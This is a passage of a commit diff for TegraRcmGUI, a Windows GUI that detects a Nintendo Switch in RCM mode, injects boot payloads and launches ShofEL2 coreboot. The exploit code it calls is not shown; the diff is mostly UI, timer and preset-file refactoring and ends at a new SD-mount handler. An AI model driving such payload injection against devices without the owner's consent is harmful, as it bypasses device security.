mirror of
https://github.com/eliboa/TegraRcmGUI.git
synced 2024-11-28 13:12:05 +00:00
1.4 (bug fixes + code optimization + SD tool)
This commit is contained in:
parent
29e3c22b97
commit
353031fc3e
9 changed files with 255 additions and 989 deletions
BIN
TegraRcmGUI.rc
BIN
TegraRcmGUI.rc
Binary file not shown.
40
TegraRcmGUI.sln
Normal file
40
TegraRcmGUI.sln
Normal file
|
@ -0,0 +1,40 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.24720.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TegraRcmGUI", "TegraRcmGUI.vcxproj", "{2C091C5B-378F-44D0-91F2-53489BA7B83C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
Static Debug|x64 = Static Debug|x64
|
||||
Static Debug|x86 = Static Debug|x86
|
||||
Static Release|x64 = Static Release|x64
|
||||
Static Release|x86 = Static Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Debug|x64.Build.0 = Debug|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Debug|x86.Build.0 = Debug|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Release|x64.ActiveCfg = Release|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Release|x64.Build.0 = Release|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Release|x86.ActiveCfg = Release|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Release|x86.Build.0 = Release|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Debug|x64.ActiveCfg = Debug|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Debug|x64.Build.0 = Debug|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Debug|x86.ActiveCfg = Debug|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Debug|x86.Build.0 = Debug|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Release|x64.ActiveCfg = Release|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Release|x64.Build.0 = Release|x64
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Release|x86.ActiveCfg = Release|Win32
|
||||
{2C091C5B-378F-44D0-91F2-53489BA7B83C}.Static Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -99,6 +99,7 @@
|
|||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>Version.lib;libusbK.lib</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>$(LIBUSBK_DIR)\bin\lib\$(PlatformShortName.Replace('x64','amd64'))\;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
|
@ -118,10 +119,13 @@
|
|||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<AdditionalIncludeDirectories>$(LIBUSBK_DIR)\includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
|
||||
<AdditionalLibraryDirectories>$(LIBUSBK_DIR)\bin\lib\$(PlatformShortName.Replace('x64','amd64'))\;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
|
@ -232,6 +236,7 @@
|
|||
<None Include="res\TegraRcmGUI.rc2" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="..\..\..\..\..\..\Visual Studio 2015\Projects\TegraRcmGUI\TegraRcmGUI\res\TegraRcmGUI.ico" />
|
||||
<Image Include="res\bitmap2.bmp" />
|
||||
<Image Include="res\driver_ko.bmp" />
|
||||
<Image Include="res\driver_ko2.bmp" />
|
||||
|
|
|
@ -113,5 +113,8 @@
|
|||
<Image Include="res\rcm_undetected.bmp">
|
||||
<Filter>Resource Files</Filter>
|
||||
</Image>
|
||||
<Image Include="..\..\..\..\..\..\Visual Studio 2015\Projects\TegraRcmGUI\TegraRcmGUI\res\TegraRcmGUI.ico">
|
||||
<Filter>Resource Files</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -16,12 +16,14 @@ using namespace std;
|
|||
|
||||
TCHAR* PAYLOAD_FILE;
|
||||
int RCM_STATUS = -10;
|
||||
int LOOP_WAIT = 0;
|
||||
BOOL WAITING_RECONNECT = FALSE;
|
||||
BOOL AUTOINJECT_CURR= FALSE;
|
||||
BOOL PREVENT_AUTOINJECT= TRUE;
|
||||
BOOL AUTOINJECT = FALSE;
|
||||
BOOL AUTOINJECT_CURR = FALSE;
|
||||
BOOL PREVENT_AUTOINJECT = TRUE;
|
||||
BOOL DELAY_AUTOINJECT = FALSE;
|
||||
BOOL ASK_FOR_DRIVER = FALSE;
|
||||
BOOL PAUSE_LKP_DEVICE = FALSE;
|
||||
|
||||
CString csPath;
|
||||
|
||||
// CTegraRcmGUIDlg dialog
|
||||
|
@ -39,7 +41,7 @@ void CTegraRcmGUIDlg::DoDataExchange(CDataExchange* pDX)
|
|||
DDX_Control(pDX, RCM_PIC_1, RCM_BITMAP1);
|
||||
DDX_Control(pDX, RCM_PIC_2, RCM_BITMAP2);
|
||||
DDX_Control(pDX, RCM_PIC_3, RCM_BITMAP3);
|
||||
DDX_Control(pDX, RCM_PIC_4, RCM_BITMAP0);
|
||||
DDX_Control(pDX, RCM_PIC_4, RCM_BITMAP0);
|
||||
DDX_Control(pDX, PAYLOAD_PATH, m_EditBrowse);
|
||||
}
|
||||
|
||||
|
@ -49,8 +51,9 @@ BEGIN_MESSAGE_MAP(CTegraRcmGUIDlg, CDialog)
|
|||
ON_WM_PAINT()
|
||||
ON_WM_QUERYDRAGICON()
|
||||
ON_EN_CHANGE(PAYLOAD_PATH, &CTegraRcmGUIDlg::OnEnChangePath)
|
||||
ON_BN_CLICKED(IDC_INJECT, &CTegraRcmGUIDlg::OnBnClickedButton)
|
||||
ON_BN_CLICKED(IDC_INJECT, &CTegraRcmGUIDlg::InjectPayload)
|
||||
ON_BN_CLICKED(IDC_SHOFEL2, &CTegraRcmGUIDlg::OnBnClickedShofel2)
|
||||
ON_BN_CLICKED(IDC_MOUNT_SD, &CTegraRcmGUIDlg::OnBnClickedMountSd)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
|
@ -60,8 +63,10 @@ BOOL CTegraRcmGUIDlg::OnInitDialog()
|
|||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// Accessibility
|
||||
EnableActiveAccessibility();
|
||||
|
||||
// Get current directory
|
||||
TCHAR szPath[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetApp()->m_hInstance, szPath, _MAX_PATH));
|
||||
CString csPathf(szPath);
|
||||
|
@ -69,29 +74,32 @@ BOOL CTegraRcmGUIDlg::OnInitDialog()
|
|||
if (nIndex > 0) csPath = csPathf.Left(nIndex);
|
||||
else csPath.Empty();
|
||||
|
||||
// Initialize bitmap
|
||||
RCM_BITMAP0.SetBitmap(INIT_LOGO);
|
||||
RCM_BITMAP1.SetBitmap(RCM_NOT_DETECTED);
|
||||
RCM_BITMAP2.SetBitmap(DRIVER_KO);
|
||||
RCM_BITMAP3.SetBitmap(RCM_DETECTED);
|
||||
|
||||
|
||||
// Check for APX driver at startup
|
||||
BOOL isDriverInstalled = LookForDriver();
|
||||
if (!isDriverInstalled) InstallDriver();
|
||||
|
||||
|
||||
// Read & apply presets
|
||||
string value = GetPreset("AUTO_INJECT");
|
||||
if (value == "TRUE")
|
||||
{
|
||||
AUTOINJECT = TRUE;
|
||||
AUTOINJECT_CURR = TRUE;
|
||||
CMFCButton*checkbox = (CMFCButton*)GetDlgItem(AUTO_INJECT);
|
||||
CMFCButton*checkbox = (CMFCButton*)GetDlgItem(AUTOINJECT);
|
||||
checkbox->SetCheck(BST_CHECKED);
|
||||
}
|
||||
CString file(GetPreset("PAYLOAD_FILE").c_str());
|
||||
this->GetDlgItem(PAYLOAD_PATH)->SetWindowTextW(file);
|
||||
//PREVENT_AUTOINJECT = TRUE;
|
||||
|
||||
|
||||
// Menu
|
||||
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
|
||||
ASSERT(IDM_ABOUTBOX < 0xF000);
|
||||
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
|
@ -106,11 +114,13 @@ BOOL CTegraRcmGUIDlg::OnInitDialog()
|
|||
}
|
||||
}
|
||||
|
||||
// Set icons
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
// Start timer to check RCM status every second
|
||||
CTegraRcmGUIDlg::StartTimer();
|
||||
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
@ -119,9 +129,6 @@ void CTegraRcmGUIDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
|
||||
// If you add a minimize button to your dialog, you will need the code below
|
||||
// to draw the icon. For MFC applications using the document/view model,
|
||||
// this is automatically done for you by the framework.
|
||||
|
||||
void CTegraRcmGUIDlg::OnPaint()
|
||||
{
|
||||
|
@ -148,24 +155,19 @@ void CTegraRcmGUIDlg::OnPaint()
|
|||
CDialog::OnPaint();
|
||||
}
|
||||
}
|
||||
|
||||
// The system calls this function to obtain the cursor to display while the user drags
|
||||
// the minimized window.
|
||||
HCURSOR CTegraRcmGUIDlg::OnQueryDragIcon()
|
||||
{
|
||||
return static_cast<HCURSOR>(m_hIcon);
|
||||
}
|
||||
|
||||
|
||||
const UINT ID_TIMER_MINUTE = 0x1001;
|
||||
const UINT ID_TIMER_SECONDS = 0x1000;
|
||||
|
||||
// Start the timers.
|
||||
void CTegraRcmGUIDlg::StartTimer()
|
||||
{
|
||||
// Set timer for Minutes.
|
||||
SetTimer(ID_TIMER_MINUTE, 60 * 1000, 0);
|
||||
|
||||
//SetTimer(ID_TIMER_MINUTE, 60 * 1000, 0);
|
||||
// Set timer for Seconds.
|
||||
SetTimer(ID_TIMER_SECONDS, 1000, 0);
|
||||
}
|
||||
|
@ -178,37 +180,52 @@ void CTegraRcmGUIDlg::StopTimer()
|
|||
KillTimer(ID_TIMER_SECONDS);
|
||||
}
|
||||
|
||||
//
|
||||
// Timer Handler.
|
||||
void CTegraRcmGUIDlg::OnTimer(UINT nIDEvent)
|
||||
{
|
||||
// Each second
|
||||
if (nIDEvent == ID_TIMER_SECONDS)
|
||||
{
|
||||
|
||||
// Exit when PAUSE_LKP_DEVICE flag is TRUE
|
||||
if (PAUSE_LKP_DEVICE) return;
|
||||
|
||||
// Get Auto inject checkbox value (checked, unchecked)
|
||||
CButton *m_ctlCheck = (CButton*)GetDlgItem(AUTO_INJECT);
|
||||
BOOL IsCheckChecked = (m_ctlCheck->GetCheck() == 1) ? true : false;
|
||||
|
||||
if (AUTOINJECT_CURR != IsCheckChecked)
|
||||
{
|
||||
// Auto inject option enabled
|
||||
if (IsCheckChecked)
|
||||
{
|
||||
SetPreset("AUTO_INJECT", "TRUE");
|
||||
AUTOINJECT = TRUE;
|
||||
DELAY_AUTOINJECT = TRUE;
|
||||
}
|
||||
// Auto inject option disabled
|
||||
else
|
||||
{
|
||||
SetPreset("AUTO_INJECT", "FALSE");
|
||||
AUTOINJECT = FALSE;
|
||||
DELAY_AUTOINJECT = FALSE;
|
||||
}
|
||||
// Save current checkbox value
|
||||
AUTOINJECT_CURR = IsCheckChecked;
|
||||
}
|
||||
|
||||
// Get RCM device Status
|
||||
// This feature has been developped by Rajkosto (copied from TegraRcmSmash)
|
||||
TegraRcmSmash device;
|
||||
int rc = device.RcmStatus();
|
||||
|
||||
|
||||
// Init & bitmap pointers
|
||||
CStatic*pCtrl1 = (CStatic*)GetDlgItem(RCM_PIC_1);
|
||||
CStatic*pCtrl2 = (CStatic*)GetDlgItem(RCM_PIC_2);
|
||||
CStatic*pCtrl3 = (CStatic*)GetDlgItem(RCM_PIC_3);
|
||||
|
||||
std::string s = "";
|
||||
|
||||
// RCM Status = "RCM detected"
|
||||
if (rc >= 0)
|
||||
{
|
||||
pCtrl1->ShowWindow(SW_HIDE);
|
||||
|
@ -216,7 +233,10 @@ void CTegraRcmGUIDlg::OnTimer(UINT nIDEvent)
|
|||
pCtrl3->ShowWindow(SW_SHOW);
|
||||
this->GetDlgItem(IDC_INJECT)->EnableWindow(TRUE);
|
||||
this->GetDlgItem(IDC_SHOFEL2)->EnableWindow(TRUE);
|
||||
this->GetDlgItem(IDC_MOUNT_SD)->EnableWindow(TRUE);
|
||||
|
||||
}
|
||||
// RCM Status = "USB Driver KO"
|
||||
else if (rc > -5)
|
||||
{
|
||||
pCtrl1->ShowWindow(SW_HIDE);
|
||||
|
@ -224,12 +244,10 @@ void CTegraRcmGUIDlg::OnTimer(UINT nIDEvent)
|
|||
pCtrl3->ShowWindow(SW_HIDE);
|
||||
this->GetDlgItem(IDC_INJECT)->EnableWindow(FALSE);
|
||||
this->GetDlgItem(IDC_SHOFEL2)->EnableWindow(FALSE);
|
||||
this->GetDlgItem(IDC_MOUNT_SD)->EnableWindow(FALSE);
|
||||
s = "lbusbK driver is needed !";
|
||||
|
||||
|
||||
if (!ASK_FOR_DRIVER) InstallDriver();
|
||||
|
||||
}
|
||||
// RCM Status = "RCM not detected"
|
||||
else
|
||||
{
|
||||
pCtrl1->ShowWindow(SW_SHOW);
|
||||
|
@ -237,25 +255,26 @@ void CTegraRcmGUIDlg::OnTimer(UINT nIDEvent)
|
|||
pCtrl3->ShowWindow(SW_HIDE);
|
||||
this->GetDlgItem(IDC_INJECT)->EnableWindow(FALSE);
|
||||
this->GetDlgItem(IDC_SHOFEL2)->EnableWindow(FALSE);
|
||||
this->GetDlgItem(IDC_MOUNT_SD)->EnableWindow(FALSE);
|
||||
s = "Waiting for Switch in RCM mode.";
|
||||
|
||||
string value = GetPreset("AUTO_INJECT");
|
||||
if (value == "TRUE")
|
||||
{
|
||||
DELAY_AUTOINJECT = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Delay Auto inject if needed
|
||||
if (AUTOINJECT) DELAY_AUTOINJECT = TRUE;
|
||||
}
|
||||
|
||||
// On change RCM status
|
||||
if (rc != RCM_STATUS)
|
||||
{
|
||||
CStatic*pCtrl0 = (CStatic*)GetDlgItem(RCM_PIC_4);
|
||||
pCtrl0->ShowWindow(SW_HIDE);
|
||||
|
||||
// Status changed to "RCM Detected"
|
||||
if (rc == 0)
|
||||
{
|
||||
CString file;
|
||||
this->GetDlgItem(PAYLOAD_PATH)->GetWindowTextW(file);
|
||||
|
||||
// Trigger auto inject if payload injection scheduled
|
||||
if (DELAY_AUTOINJECT && file.GetLength() > 0)
|
||||
{
|
||||
InjectPayload();
|
||||
|
@ -263,57 +282,63 @@ void CTegraRcmGUIDlg::OnTimer(UINT nIDEvent)
|
|||
}
|
||||
else
|
||||
{
|
||||
s = "\nSelect a payload :";
|
||||
CA2T wt(s.c_str());
|
||||
SetDlgItemText(INFO_LABEL, wt);
|
||||
SetDlgItemText(INFO_LABEL, TEXT("\nSelect a payload :"));
|
||||
}
|
||||
}
|
||||
// Status changed to "RCM not detected" or "USB driver KO"
|
||||
else if (!ASK_FOR_DRIVER)
|
||||
{
|
||||
// Ask for driver install if not installed yet
|
||||
BOOL isDriverInstalled = LookForDriver();
|
||||
if (!isDriverInstalled) InstallDriver();
|
||||
}
|
||||
// Status changed to "RCM not detected" -> Disable WAITING_RECONNECT flag
|
||||
if (rc <= -5) WAITING_RECONNECT = FALSE;
|
||||
}
|
||||
RCM_STATUS = rc;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// On change payload path
|
||||
void CTegraRcmGUIDlg::OnEnChangePath()
|
||||
{
|
||||
CString file;
|
||||
this->GetDlgItem(PAYLOAD_PATH)->GetWindowTextW(file);
|
||||
PAYLOAD_FILE = _tcsdup(file);
|
||||
|
||||
|
||||
if (!PREVENT_AUTOINJECT)
|
||||
{
|
||||
// Save payload path
|
||||
CT2CA pszConvertedAnsiString(file);
|
||||
std::string file_c(pszConvertedAnsiString);
|
||||
SetPreset("PAYLOAD_FILE", file_c);
|
||||
}
|
||||
|
||||
std::string s = "\nSelect a payload :";
|
||||
|
||||
std::string s = "\nSelect a payload :";
|
||||
|
||||
CButton *m_ctlCheck = (CButton*)GetDlgItem(AUTO_INJECT);
|
||||
BOOL IsCheckChecked = (m_ctlCheck->GetCheck() == 1) ? true : false;
|
||||
// If Auto inject option enabled
|
||||
if (IsCheckChecked && !PREVENT_AUTOINJECT)
|
||||
{
|
||||
// Delay auto inject if RCM not detected
|
||||
if (RCM_STATUS != 0)
|
||||
{
|
||||
DELAY_AUTOINJECT = TRUE;
|
||||
s = "Payload injection scheduled.\nWaiting for RCM mode.";
|
||||
}
|
||||
// Inject payload if RCM detected
|
||||
else InjectPayload();
|
||||
}
|
||||
PREVENT_AUTOINJECT = FALSE;
|
||||
CA2T wt(s.c_str());
|
||||
SetDlgItemText(INFO_LABEL, wt);
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CTegraRcmGUIDlg::OnBnClickedButton()
|
||||
{
|
||||
InjectPayload();
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// User payload injection
|
||||
void CTegraRcmGUIDlg::InjectPayload()
|
||||
{
|
||||
if (WAITING_RECONNECT)
|
||||
|
@ -326,121 +351,100 @@ void CTegraRcmGUIDlg::InjectPayload()
|
|||
}
|
||||
}
|
||||
|
||||
LOOP_WAIT = 1;
|
||||
TCHAR* args[2];
|
||||
args[0] = TEXT("");
|
||||
args[1] = PAYLOAD_FILE;
|
||||
string s;
|
||||
|
||||
if (PAYLOAD_FILE == nullptr) {
|
||||
s = "\nNo file selected !";
|
||||
CA2T wt(s.c_str());
|
||||
CTegraRcmGUIDlg::SetDlgItemText(INFO_LABEL, wt);
|
||||
LOOP_WAIT = 0;
|
||||
SetDlgItemText(INFO_LABEL, TEXT("\nNo file selected !"));
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
TegraRcmSmash device;
|
||||
int rc = device.SmashMain(2, args);
|
||||
|
||||
|
||||
int rc = Smasher(PAYLOAD_FILE);
|
||||
if (rc >= 0)
|
||||
{
|
||||
s = "\nPayload injected !";
|
||||
WAITING_RECONNECT = TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
{
|
||||
s = "Error while injecting payload (RC=" + std::to_string(rc) + ")";
|
||||
}
|
||||
CA2T wt(s.c_str());
|
||||
CTegraRcmGUIDlg::SetDlgItemText(INFO_LABEL, wt);
|
||||
LOOP_WAIT = 0;
|
||||
}
|
||||
|
||||
void CTegraRcmGUIDlg::OnBnClickedShofel2()
|
||||
{
|
||||
LOOP_WAIT = 1;
|
||||
|
||||
TCHAR szPath[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetApp()->m_hInstance, szPath, _MAX_PATH));
|
||||
CString csPath(szPath);
|
||||
int nIndex = csPath.ReverseFind(_T('\\'));
|
||||
if (nIndex > 0) {
|
||||
csPath = csPath.Left(nIndex);
|
||||
}
|
||||
else {
|
||||
csPath.Empty();
|
||||
}
|
||||
TCHAR *exe_dir = GetAbsolutePath(TEXT(""), CSIDL_APPDATA);
|
||||
|
||||
string s;
|
||||
CString COREBOOT_FILE = csPath + _T("\\shofel2\\coreboot\\coreboot.rom");
|
||||
CString COREBOOT = _T("CBFS+") + COREBOOT_FILE;
|
||||
CString PAYLOAD = csPath + _T("\\shofel2\\coreboot\\cbfs.bin");
|
||||
TCHAR *COREBOOT_FILE = GetAbsolutePath(TEXT("shofel2\\coreboot\\coreboot.rom"), CSIDL_APPDATA);
|
||||
TCHAR *PAYLOAD = GetAbsolutePath(TEXT("shofel2\\coreboot\\cbfs.bin"), CSIDL_APPDATA);
|
||||
CString COREBOOT_FILE2 = COREBOOT_FILE;
|
||||
CString COREBOOT = _T("CBFS+") + COREBOOT_FILE2;
|
||||
|
||||
std::ifstream infile(COREBOOT_FILE);
|
||||
BOOL coreboot_exists = infile.good();
|
||||
std::ifstream infile2(PAYLOAD);
|
||||
BOOL payload_exists = infile2.good();
|
||||
|
||||
if (!coreboot_exists || !payload_exists) {
|
||||
s = "Linux kernel not found in \\shofel2 dir";
|
||||
CA2T wt(s.c_str());
|
||||
CTegraRcmGUIDlg::SetDlgItemText(INFO_LABEL, wt);
|
||||
|
||||
|
||||
SetDlgItemText(INFO_LABEL, TEXT("Linux coreboot not found in \\shofel2 dir"));
|
||||
CString message = _T("Kernel not found in shofel2 directory. Do you want to automatically download arch linux kernel from SoulCipher repo ?");
|
||||
const int result = MessageBox(message, _T("Kernel not found"), MB_YESNOCANCEL | MB_ICONQUESTION);
|
||||
if (result == IDYES)
|
||||
if (result == IDYES)
|
||||
{
|
||||
PROCESS_INFORMATION pif;
|
||||
STARTUPINFO si;
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
CString download_script = csPath + _T("\\shofel2\\download.bat");
|
||||
BOOL bRet = CreateProcess(download_script, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pif);
|
||||
}
|
||||
|
||||
LOOP_WAIT = 0;
|
||||
return;
|
||||
TCHAR *download_script = GetAbsolutePath(TEXT("shofel2\\download.bat"), CSIDL_APPDATA);
|
||||
BOOL bRet = CreateProcess(download_script, NULL, NULL, NULL, FALSE, 0, NULL, exe_dir, &si, &pif);
|
||||
}
|
||||
return; // TO-DO : Remove return for coreboot injection after download
|
||||
}
|
||||
|
||||
TCHAR* payload_f = _tcsdup(PAYLOAD);
|
||||
TCHAR* coreboot_f = _tcsdup(COREBOOT);
|
||||
TCHAR* args[5];
|
||||
args[0] = TEXT("");
|
||||
args[1] = TEXT("-w");
|
||||
args[2] = TEXT("--relocator=");
|
||||
args[3] = payload_f;
|
||||
args[4] = coreboot_f;
|
||||
SetDlgItemText(INFO_LABEL, TEXT("Loading coreboot. Please wait."));
|
||||
|
||||
TegraRcmSmash device;
|
||||
//int rc = device.SmashMain(5, args);
|
||||
TCHAR cmd[MAX_PATH] = TEXT("--relocator= \"");
|
||||
lstrcat(cmd, _tcsdup(PAYLOAD));
|
||||
lstrcat(cmd, TEXT("\" \"CBFS:"));
|
||||
lstrcat(cmd, _tcsdup(COREBOOT_FILE));
|
||||
lstrcat(cmd, TEXT("\""));
|
||||
int rc = Smasher(cmd);
|
||||
|
||||
s = "Loading coreboot. Please wait.";
|
||||
CA2T wt(s.c_str());
|
||||
SetDlgItemText(INFO_LABEL, wt);
|
||||
|
||||
int rc = device.SmashMain(5, args);
|
||||
if (rc >= 0 || rc < -7)
|
||||
{
|
||||
s = "Coreboot loaded. Waiting for device...";
|
||||
CA2T wt(s.c_str());
|
||||
SetDlgItemText(INFO_LABEL, wt);
|
||||
SetDlgItemText(INFO_LABEL, TEXT("Coreboot injected. Waiting 5s for device..."));
|
||||
Sleep(5000);
|
||||
|
||||
CString usb_loader = csPath + _T("\\shofel2\\imx_usb.bat");
|
||||
PROCESS_INFORMATION pif;
|
||||
STARTUPINFO si;
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
BOOL bRet = CreateProcess(usb_loader, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pif);
|
||||
if (bRet == 0)
|
||||
TCHAR *imx_script = GetAbsolutePath(TEXT("shofel2\\imx_usb.bat"), CSIDL_APPDATA);
|
||||
SetDlgItemText(INFO_LABEL, TEXT("Loading coreboot... Please wait."));
|
||||
BOOL ret = CreateProcess(imx_script, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, exe_dir, &si, &pif);
|
||||
int rc = -50;
|
||||
if (NULL != ret)
|
||||
{
|
||||
s = "Error while loading shofel2\\imx_usb.bat.";
|
||||
WaitForSingleObject(pif.hProcess, INFINITE);
|
||||
DWORD exit_code;
|
||||
if (FALSE != GetExitCodeProcess(pif.hProcess, &exit_code))
|
||||
{
|
||||
if (STILL_ACTIVE != exit_code) rc = exit_code;
|
||||
}
|
||||
else rc = -51;
|
||||
CloseHandle(pif.hProcess);
|
||||
CloseHandle(pif.hThread);
|
||||
}
|
||||
|
||||
if (rc == 0)
|
||||
{
|
||||
s = "\nCoreboot loaded !";
|
||||
}
|
||||
else
|
||||
{
|
||||
s = "\nPayload injected !";
|
||||
s = "Error while loading imx_usb.exe";
|
||||
}
|
||||
}
|
||||
else
|
||||
|
@ -450,15 +454,15 @@ void CTegraRcmGUIDlg::OnBnClickedShofel2()
|
|||
CA2T wt2(s.c_str());
|
||||
SetDlgItemText(INFO_LABEL, wt2);
|
||||
|
||||
LOOP_WAIT = 0;
|
||||
}
|
||||
|
||||
|
||||
string CTegraRcmGUIDlg::GetPreset(string param)
|
||||
{
|
||||
CString rfile = csPath + "\\presets.conf";
|
||||
TCHAR *rfile = GetAbsolutePath(TEXT("presets.conf"), CSIDL_APPDATA);
|
||||
CT2A rfile_c(rfile, CP_UTF8);
|
||||
TRACE(_T("UTF8: %S\n"), rfile_c.m_psz);
|
||||
|
||||
ifstream readFile(rfile_c);
|
||||
string readout;
|
||||
string search = param + "=";
|
||||
|
@ -468,9 +472,9 @@ string CTegraRcmGUIDlg::GetPreset(string param)
|
|||
while (getline(readFile, readout)) {
|
||||
if (readout.find(search) != std::string::npos) {
|
||||
std::string delimiter = "=";
|
||||
value = readout.substr(readout.find(delimiter)+1, readout.length()+1);
|
||||
value = readout.substr(readout.find(delimiter) + 1, readout.length() + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
readFile.close();
|
||||
return value;
|
||||
|
@ -478,9 +482,8 @@ string CTegraRcmGUIDlg::GetPreset(string param)
|
|||
|
||||
void CTegraRcmGUIDlg::SetPreset(string param, string value)
|
||||
{
|
||||
// Preset conf gfile
|
||||
CString rfile = csPath + "\\presets.conf";
|
||||
CString wfile = csPath + "\\presets.conf.tmp";
|
||||
TCHAR *rfile = GetAbsolutePath(TEXT("presets.conf"), CSIDL_APPDATA);
|
||||
TCHAR *wfile = GetAbsolutePath(TEXT("presets.conf.tmp"), CSIDL_APPDATA);
|
||||
CT2A rfile_c(rfile, CP_UTF8);
|
||||
TRACE(_T("UTF8: %S\n"), rfile_c.m_psz);
|
||||
CT2A wfile_c(wfile, CP_UTF8);
|
||||
|
@ -491,7 +494,7 @@ void CTegraRcmGUIDlg::SetPreset(string param, string value)
|
|||
ifstream readFile(rfile_c);
|
||||
string readout;
|
||||
string search = param + "=";
|
||||
string replace = "\n" + search + value;
|
||||
string replace = "\n" + search + value + "\n";
|
||||
BOOL found = FALSE;
|
||||
while (getline(readFile, readout)) {
|
||||
if (readout.find(search) != std::string::npos) {
|
||||
|
@ -522,7 +525,7 @@ void CTegraRcmGUIDlg::InstallDriver()
|
|||
shExInfo.cbSize = sizeof(shExInfo);
|
||||
shExInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||
shExInfo.hwnd = 0;
|
||||
shExInfo.lpVerb = _T("runas");
|
||||
shExInfo.lpVerb = _T("runas");
|
||||
CString exe_file = csPath + _T("\\apx_driver\\InstallDriver.exe");
|
||||
shExInfo.lpFile = exe_file;
|
||||
shExInfo.lpDirectory = 0;
|
||||
|
@ -541,14 +544,72 @@ typedef int(__cdecl *MYPROC)(LPWSTR);
|
|||
|
||||
BOOL CTegraRcmGUIDlg::LookForDriver()
|
||||
{
|
||||
TCHAR system_dir[MAX_PATH];
|
||||
HRESULT result = SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, SHGFP_TYPE_CURRENT, system_dir);
|
||||
if (result != S_OK) return FALSE;
|
||||
PathAppend(system_dir, _T("\\libusbK.dll"));
|
||||
|
||||
|
||||
std::ifstream infile32(system_dir);
|
||||
BOOL file_exists32 = infile32.good();
|
||||
if (!file_exists32) return FALSE;
|
||||
|
||||
TCHAR *system_dir = GetAbsolutePath(TEXT("libusbK.dll"), CSIDL_SYSTEM);
|
||||
std::ifstream infile(system_dir);
|
||||
BOOL file_exists = infile.good();
|
||||
return file_exists;
|
||||
}
|
||||
|
||||
|
||||
void CTegraRcmGUIDlg::OnBnClickedMountSd()
